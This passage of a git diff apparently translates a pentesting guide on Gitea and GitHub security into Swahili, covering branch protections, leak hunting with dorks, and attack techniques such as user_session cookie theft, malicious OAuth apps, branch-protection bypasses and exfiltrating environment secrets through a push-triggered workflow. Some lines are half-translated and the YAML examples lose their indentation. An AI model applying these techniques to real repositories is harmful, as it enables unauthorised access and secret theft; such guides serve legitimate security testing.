akaunti yako na maeneo ambayo akaunti yako ina ufikiaji kwa sababu, kama ilivyoonyeshwa katika [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes hazijasaidiwa bado: ![](<../../images/image (194).png>) ### Deploy keys -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +Funguo za kupeleka zinaweza kuwa na ufikiaji wa kusoma tu au kuandika kwa repo, hivyo zinaweza kuwa za kuvutia kuathiri repos maalum. ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Ulinzi wa branch umeundwa ili **kutopeana udhibiti kamili wa repository** kwa watumiaji. Lengo ni **kueka mbinu kadhaa za ulinzi kabla ya kuwa na uwezo wa kuandika msimbo ndani ya branch fulani.** -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +**Ulinzi wa branch wa repository** unaweza kupatikana katika _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> Haiwezekani kuweka ulinzi wa branch katika kiwango cha shirika. Hivyo zote lazima zitangazwe kwenye kila repo. -Different protections can be applied to a branch (like to master): +Ulinzi tofauti unaweza kutumika kwa branch (kama kwa master): -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **Zuia Push**: Hakuna mtu anaweza kusukuma kwenye branch hii +- **Ruhusu Push**: Mtu yeyote mwenye ufikiaji anaweza kusukuma, lakini si kusukuma kwa nguvu. +- **Whitelist Restricted Push**: Ni watumiaji/teams waliochaguliwa pekee wanaweza kusukuma kwenye branch hii (lakini hakuna kusukuma kwa nguvu) +- **Ruhusu Merge Whitelist**: Ni watumiaji/teams walio kwenye orodha ya kibali pekee wanaweza kuunganishwa PRs. +- **Ruhusu Status checks:** Hitaji ukaguzi wa hali kupita kabla ya kuunganishwa. +- **Hitaji idhini**: Onyesha idadi ya idhini zinazohitajika kabla ya PR kuunganishwa. +- **Zuia idhini kwa walio kwenye orodha ya kibali**: Onyesha watumiaji/teams wanaoweza kuidhinisha PRs. +- **Zuia kuunganishwa kwenye mapitio yaliyokataliwa**: Ikiwa mabadiliko yanahitajika, haiwezi kuunganishwa (hata kama ukaguzi mwingine unapita) +- **Zuia kuunganishwa kwenye maombi rasmi ya ukaguzi**: Ikiwa kuna maombi rasmi ya ukaguzi haiwezi kuunganishwa +- **Futa idhini za zamani**: Wakati commits mpya, idhini za zamani zitafutwa. +- **Hitaji Commits Zilizotiwa Saini**: Commits lazima ziwe na saini. +- **Zuia kuunganishwa ikiwa ombi la kuvuta limepitwa na wakati** +- **Mifumo ya faili zilizolindwa/zisizolindwa**: Onyesha mifumo ya faili za kulinda/kutozingatia dhidi ya mabadiliko > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Kama unavyoona, hata kama umeweza kupata baadhi ya akidi za mtumiaji, **repos zinaweza kulindwa zikizuia wewe kusukuma msimbo kwa master** kwa mfano kuathiri pipeline ya CI/CD. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..eb61aa4cb 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## What is Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Kwa kiwango cha juu, **GitHub ni tovuti na huduma ya msingi wa wingu inayosaidia waendelezaji kuhifadhi na kusimamia msimbo wao, pamoja na kufuatilia na kudhibiti mabadiliko kwenye msimbo wao**. ### Basic Information @@ -14,29 +14,29 @@ basic-github-information.md ## External Recon -Github repositories can be configured as public, private and internal. +Github repositories zinaweza kuwekwa kama za umma, binafsi na za ndani. -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **Binafsi** inamaanisha kwamba **tu** watu wa **shirika** wataweza kuzifikia +- **Za ndani** inamaanisha kwamba **tu** watu wa **biashara** (biashara inaweza kuwa na mashirika kadhaa) wataweza kuzifikia +- **Umma** inamaanisha kwamba **mtandao wote** utaweza kuzifikia. -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +Ikiwa unajua **mtumiaji, repo au shirika unalotaka kulenga** unaweza kutumia **github dorks** kupata taarifa nyeti au kutafuta **mvuja taarifa nyeti** **katika kila repo**. ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +Github inaruhusu **kutafuta kitu kwa kubainisha kama upeo mtumiaji, repo au shirika**. Hivyo, kwa orodha ya nyuzi ambazo zitakuwa karibu na taarifa nyeti unaweza kwa urahisi **kutafuta taarifa nyeti zinazoweza kuwa katika lengo lako**. -Tools (each tool contains its list of dorks): +Tools (kila chombo kina orodha yake ya dorks): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Orodha ya Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Orodha ya Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Orodha ya Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists)) ### Github Leaks -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuja taarifa kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwa zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits). -Tools (each tool contains its list of regexes): +Tools (kila chombo kina orodha yake ya regexes): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,15 +47,15 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Unapofanya utafutaji wa mvuja taarifa katika repo na kuendesha kitu kama `git log -p` usisahau kunaweza kuwa na **matawi mengine yenye commits nyingine** yanayoshikilia siri! ### External Forks -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ni hatarishi unahitaji zaidi kusoma mipangilio ya yaml ya Github Actions. [**Maelezo zaidi kuhusu hii hapa chini**](./#execution-from-a-external-fork). ### Github Leaks in deleted/internal forks -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +Hata kama zimefutwa au za ndani inaweza kuwa inawezekana kupata data nyeti kutoka kwa forks za github repositories. Angalia hapa: {{#ref}} accessible-deleted-data-in-github.md @@ -65,154 +65,148 @@ accessible-deleted-data-in-github.md ### Member Privileges -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +Kuna **privileges za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations//settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Admin juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**. +- **Kuvuta repo**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuvuta repos za shirika. +- **Uundaji wa kurasa**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuchapisha kurasa kutoka kwa repos za shirika. Ikiwa ni lazima unaweza kuruhusu kuunda kurasa za umma au binafsi. +- **Maombi ya ufikiaji wa ushirikiano**: Kwa hili kuwezeshwa washirikiano wa nje wataweza kuomba ufikiaji wa GitHub au programu za OAuth kufikia shirika hili na rasilimali zake. Kwa kawaida inahitajika, lakini ikiwa si hivyo, ni bora kuizima. +- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **admin** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**. +- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- **Futa na uhamasishaji wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **admin** kwa repo wataweza **kufuta** au **kuhamasisha** repos za umma na binafsi. +- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- **Ruhusu wanachama kuunda timu**: Ikiwa imewezeshwa, mwanachama yeyote wa shirika ataweza **kuunda** timu mpya. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kuunda timu mpya. Ni bora kuwa na hii imezimwa. +- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- **Mambo mengine yanaweza kuwekewa mipangilio** katika ukurasa huu lakini yale yaliyotangulia ndiyo yanayohusiana zaidi na usalama. ### Actions Settings -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +Mipangilio kadhaa inayohusiana na usalama inaweza kuwekwa kwa ajili ya hatua kutoka kwenye ukurasa `https://github.com/organizations//settings/actions`. > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> Kumbuka kwamba mipangilio hii yote inaweza pia kuwekwa kwenye kila repo kwa kujitegemea -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Sera za hatua za Github**: Inaruhusu kuashiria ni repos zipi zinaweza kuendesha workflows na ni workflows zipi zinapaswa kuruhusiwa. Inapendekezwa **kubainisha ni repos zipi** zinapaswa kuruhusiwa na sio kuruhusu hatua zote kuendesha. +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **Kuvuta workflows za ombi kutoka kwa washirikiano wa nje**: Inapendekezwa **kuhitaji idhini kwa wote** washirikiano wa nje. +- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_ +- **Kendesha workflows kutoka kwa ombi la kuvuta**: Inashauriwa **kutoendesha workflows kutoka kwa ombi la kuvuta** kwani wasimamizi wa chanzo cha kuvuta watapewa uwezo wa kutumia tokens zenye ruhusa za kusoma kwenye repo ya chanzo. +- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_ +- **Ruhusa za workflow**: Inashauriwa sana **kutoa ruhusa za kusoma tu kwa repo**. Inashauriwa kutopeana ruhusa za kuandika na kuunda/kubali ombi la kuvuta ili kuepuka matumizi mabaya ya GITHUB_TOKEN inayotolewa kwa workflows zinazokimbia. +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrations -_Let me know if you know the API endpoint to access this info!_ +_Nnijulishe ikiwa unajua kiunganishi cha API kupata taarifa hii!_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu zile tu zinazohitajika (baada ya kuzitathmini). +- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu zile tu zinazohitajika (baada ya kuzitathmini). ## Recon & Attacks abusing credentials -For this scenario we are going to suppose that you have obtained some access to a github account. +Kwa hali hii tutadhani kwamba umepata ufikiaji wa akaunti ya github. ### With User Credentials -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanao**, ni **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa**. -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**. > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Kumbuka kwamba ikiwa **utafanikiwa kuiba `user_session` cookie** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji ruhusa au 2FA. -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +Angalia sehemu iliyo chini kuhusu [**kupita ulinzi wa matawi**](./#branch-protection-bypass) ikiwa itakuwa na manufaa. ### With User SSH Key -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +Github inaruhusu **watumiaji** kuweka **SSH keys** ambazo zitakuwa zikitumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inayotumika). +Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya ruhusa**, hata hivyo huwezi kuitumia kufikia api ya github ili kuorodhesha mazingira. Hata hivyo, unaweza kupata **kuorodhesha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo ya faragha uliyopata inaweza kutumika. -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**Funguo za SSH** zinaweza pia kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Funguo za GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini commits au unaweza kugunduliwa. +Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Kwa Token ya Mtumiaji -### With User Token +Kwa utangulizi kuhusu [**Token za Mtumiaji angalia taarifa za msingi**](basic-github-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +Token ya mtumiaji inaweza kutumika **badala ya nenosiri** kwa Git kupitia HTTPS, au inaweza kutumika [**kujiandikisha kwenye API kupitia Uthibitishaji wa Msingi**](https://docs.github.com/v3/auth/#basic-authentication). Kulingana na mamlaka iliyounganishwa nayo unaweza kuwa na uwezo wa kufanya vitendo tofauti. -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +Token ya Mtumiaji inaonekana kama hii: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +### Kwa Programu ya Oauth -### With Oauth Application +Kwa utangulizi kuhusu [**Programu za Oauth za Github angalia taarifa za msingi**](basic-github-information.md#oauth-applications). -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya udukuzi. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Hizi ni [mipaka ambayo programu ya Oauth inaweza kuomba](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Ni lazima kila wakati kuangalia mipaka inayohitajika kabla ya kuzikubali. -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repo/matendo yanayohusiana na shirika. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +### Kwa Programu ya Github -### With Github Application +Kwa utangulizi kuhusu [**Programu za Github angalia taarifa za msingi**](basic-github-information.md#github-applications). -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +Mshambuliaji anaweza kuunda **Programu ya Github yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya udukuzi. -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repo/matendo yanayohusiana na shirika. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +## Kuathiri & Kutumia Vibaya Github Action -## Compromise & Abuse Github Action - -There are several techniques to compromise and abuse a Github Action, check them here: +Kuna mbinu kadhaa za kuathiri na kutumia vibaya Github Action, angalia hapa: {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## Kupita Ulinzi wa Tawi -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isnā€™t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isnā€™t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **Hitaji idadi ya idhini**: Ikiwa umeathiri akaunti kadhaa unaweza kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya repo, ukitumia **GITHUB_TOKEN** unaweza kuwa na uwezo wa **kuidhinisha PR yako** na kupata idhini 1 kwa njia hii. +- _Kumbuka kwa hili na kwa kizuizi cha Wamiliki wa Kanuni kwamba kwa kawaida mtumiaji hatakuwa na uwezo wa kuidhinisha PR zake mwenyewe, lakini ikiwa wewe ni, unaweza kuitumia vibaya kukubali PR zako._ +- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, subiri mtu apitishe, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililohifadhiwa. +- **Hitaji mapitio kutoka kwa Wamiliki wa Kanuni**: Ikiwa hii imewashwa na wewe ni Mmiliki wa Kanuni, unaweza kufanya **Github Action kuunda PR yako na kisha kuidhinisha mwenyewe**. +- Wakati **faili ya CODEOWNER imepangwa vibaya** Github hailalamiki lakini haitatumia. Kwa hivyo, ikiwa imepangwa vibaya **ulinzi wa Wamiliki wa Kanuni hauwezi kutumika.** +- **Ruhusu wahusika maalum kupita mahitaji ya ombi la kuvuta**: Ikiwa wewe ni mmoja wa wahusika hawa unaweza kupita ulinzi wa ombi la kuvuta. +- **Jumuisha wasimamizi**: Ikiwa hii haijakamilishwa na wewe ni msimamizi wa repo, unaweza kupita ulinzi huu wa tawi. +- **Kuhujumu PR**: Unaweza kuwa na uwezo wa **kubadilisha PR ya mtu mwingine** kwa kuongeza msimbo mbaya, kuidhinisha PR inayotokana na hiyo mwenyewe na kuunganisha kila kitu. +- **Kuondoa Ulinzi wa Tawi**: Ikiwa wewe ni **msimamizi wa repo unaweza kuzima ulinzi**, kuunganisha PR yako na kuweka ulinzi tena. +- **Kupita ulinzi wa kusukuma**: Ikiwa repo **inaruhusu watumiaji fulani tu** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kuwa unalinda matawi yote kwa kubainisha wildcard `*`). +- Ikiwa una **ufikiaji wa kuandika juu ya repo lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unasukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi litakapotengenezwa**, kusukuma msimbo huu wa kwanza kwenye tawi uta **zindua github action**. -## Bypass Environments Protections +## Kupita Ulinzi wa Mazingira -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +Kwa utangulizi kuhusu [**Mazingira ya Github angalia taarifa za msingi**](basic-github-information.md#git-environments). -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +Katika kesi mazingira yanaweza **kupatikana kutoka matawi yote**, **hayana ulinzi** na unaweza kwa urahisi kupata siri ndani ya mazingira. Kumbuka kwamba unaweza kupata repo ambapo **matawi yote yanahifadhiwa** (kwa kubainisha majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuondoa** siri kwa kuunda github action mpya (au kubadilisha moja). +Kumbuka, kwamba unaweza kupata hali ya mwisho ambapo **matawi yote yanahifadhiwa** (kupitia wildcard `*`) imebainishwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kubainisha hiyo katika ulinzi wa tawi_) na **mtumiaji wako hajaruhusiwa**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**. ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` - -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +Note that **baada ya kuunda** the branch the **branch protection itatumika kwa tawi jipya** and you won't be able to modify it, but for that time you will have already dumped the secrets. ## Persistence - Generate **user token** - Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** +- **Deletion** of workflow **results** and **branches** - Give **more permissions to all the org** - Create **webhooks** to exfiltrate information - Invite **outside collaborators** @@ -224,25 +218,19 @@ Note that **after the creation** of the branch the **branch protection will appl In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): - +Like [**hii**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +Kwa maelezo zaidi angalia 